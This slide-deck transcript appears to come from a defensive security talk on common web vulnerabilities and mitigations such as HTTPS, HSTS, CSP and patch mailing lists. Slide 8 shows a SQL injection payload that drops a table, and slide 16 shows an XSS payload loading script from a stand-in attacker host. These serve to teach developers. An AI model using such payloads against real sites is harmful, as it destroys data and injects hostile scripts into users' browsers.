There Is No Silver Bullet

Transcript

1. there is no silver bullet Henri Watson
2. Which  vulnerabili.es  commonly   affect  web  applica.ons  in  the   Dominican  Republic?  
3. No  HTTPS  
4. Using  HTTPS  won’t  cost  you   an  arm  and  a  leg.  
5. The  current  proposal  for   HTTP/2.0  requires  TLS.  
6. If  you  decide  to  use  HTTPS,   also  use  Strict-­‐Transport-­‐Security   and  ssllabs.com/ssltest  
7. SQL  Injec.ons  
8. GET  /tracker?order=12345”;   DROP  TABLE  orders;-­‐-­‐   SELECT  *  FROM  orders  WHERE  order  =  “12345”;   DROP  TABLE  orders;-­‐-­‐”  AND  status  =  “pending”   Request  from   the  client  to  the  server   Request  from  the   webserver  to  the  database  
12. Authen.ca.on  Implementa.on   Mistakes  
15. Cross-­‐Site  Scrip.ng  (XSS)  
16. GET  /hi?name=<script  src=“hep://evil.example/ l33thax.js”></script>   Hello,  <script  src=“hep://evil.example/ l33thax.js”></script>!   Request  from   the  client  to  the  server   Reply  from   the  server  to  the  client  
17. Content-­‐Security-­‐Policy  
18. Exposure  of  Sensi.ve  Data  
20. Using  Components  With   Known  Vulnerabili.es  
21. Mailing  Lists   •  bugtraq   hep://www.securityfocus.com/archive/1   •  debian-­‐security-­‐announce   heps://lists.debian.org/debian-­‐security-­‐announce/   •  fulldisclosure   hep://nmap.org/mailman/lis.nfo/fulldisclosure  
22. Mailing  Lists   •  announce@hepd.apache.org   heps://hepd.apache.org/lists.html#hep-­‐announce   •  nginx-­‐announce   hep://mailman.nginx.org/mailman/lis.nfo/nginx-­‐ announce   •  php-­‐announce   hep://php.net/mailing-­‐lists.php  
24. Customer  Service  
26. Why  is  there  no  “silver  bullet”?  
27. Informa.on  security  is  a  constant   investment.  
28. Heartbleed  
29. By  placing  your  users’  informa.on  at   risk,  you  also  risk  ruining  your   company’s  reputa.on.  
30. Thanks!   @henriwatson   henri@henriwatson.com     heps://henriwatson.com/talks/silverbullet